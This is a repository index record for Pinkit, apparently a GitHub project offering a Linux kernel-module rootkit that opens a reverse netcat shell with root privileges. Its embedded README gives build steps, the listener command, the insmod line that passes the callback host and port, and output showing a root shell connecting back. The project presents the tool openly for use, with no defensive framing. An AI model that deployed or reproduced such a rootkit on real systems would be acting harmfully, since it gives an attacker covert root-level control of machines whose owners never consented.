{"id":13508330,"url":"https://github.com/PinkP4nther/Pinkit","last_synced_at":"2025-03-30T11:31:41.204Z","repository":{"id":201408023,"uuid":"133461485","full_name":"PinkP4nther/Pinkit","owner":"PinkP4nther","description":"A quick LKM rootkit that executes a reverse TCP netcat shell with root privileges.","archived":false,"fork":false,"pushed_at":"2018-06-08T10:07:28.000Z","size":13,"stargazers_count":41,"open_issues_count":0,"forks_count":18,"subscribers_count":2,"default_branch":"master","last_synced_at":"2024-11-17T09:39:48.498Z","etag":null,"topics":["c","linux","linux-kernel","linux-kernel-module","lkm","lkm-rootkit","netcat","netcat-reverse","reverse-shell"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/PinkP4nther.png","metadata":{"files":{"readme":"README.TXT","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2018-05-15T05:02:02.000Z","updated_at":"2024-09-08T19:29:54.000Z","dependencies_parsed_at":null,"dependency_job_id":"e4077d16-b9ab-4bb4-998a-f0f8a63c57e2","html_url":"https://github.com/PinkP4nther/Pinkit","commit_stats":null,"previous_names":["pinkp4nther/pinkit"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PinkP4nther%2FPinkit","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PinkP4nther%2FPinkit/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PinkP4nther%2FPinkit/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PinkP4nther%2FPinkit/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/PinkP4nther","download_url":"https://codeload.github.com/PinkP4nther/Pinkit/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246314011,"owners_count":20757450,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["c","linux","linux-kernel","linux-kernel-module","lkm","lkm-rootkit","netcat","netcat-reverse","reverse-shell"],"created_at":"2024-08-01T02:00:51.527Z","updated_at":"2025-03-30T11:31:40.870Z","avatar_url":"https://github.com/PinkP4nther.png","language":"C","funding_links":[],"categories":["C","c"],"sub_categories":[],"readme":"# Pinkit\nA quick LKM rootkit that executes a reverse netcat shell with root privileges.\n\nINSTALL\n[Dependencies]\napt install build-essential linux-headers-$(uname -r)\n\n[Compile Kernel Module]\ncd Pinkit; make\n\n[Execute Reverse Shell]\n# nc must be installed\nnc -lvp 1339 \u003c- Run netcat listener in another shell\n\n[Insert and remove LKM]\n[root@Dev Pinkit]# insmod pinkit.ko host=\"REV_TCP_LH=127.0.0.1\" port=\"REV_TCP_LP=1339\"\n[root@Dev Pinkit]# cat /proc/modules |grep pink\npinkit 16384 0 - Live 0xffffffffc0aa6000 (PO)\n[root@Dev Pinkit]# rmmod pinkit\n\n[Once LKM is loaded shell will connect to nc listener]\n[ra_horakhty][Dev][Pinkit]\n-\u003e ncat -lvp 1339\nNcat: Version 7.70 ( https://nmap.org/ncat )\nNcat: Listening on :::1339\nNcat: Listening on 0.0.0.0:1339\nNcat: Connection from 127.0.0.1.\nNcat: Connection from 127.0.0.1:41060.\nsh: cannot set terminal process group (-1): Inappropriate ioctl for device\nsh: no job control in this shell\nsh-4.4# id\nid\nuid=0(root) gid=0(root) groups=0(root)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FPinkP4nther%2FPinkit","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FPinkP4nther%2FPinkit","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FPinkP4nther%2FPinkit/lists"}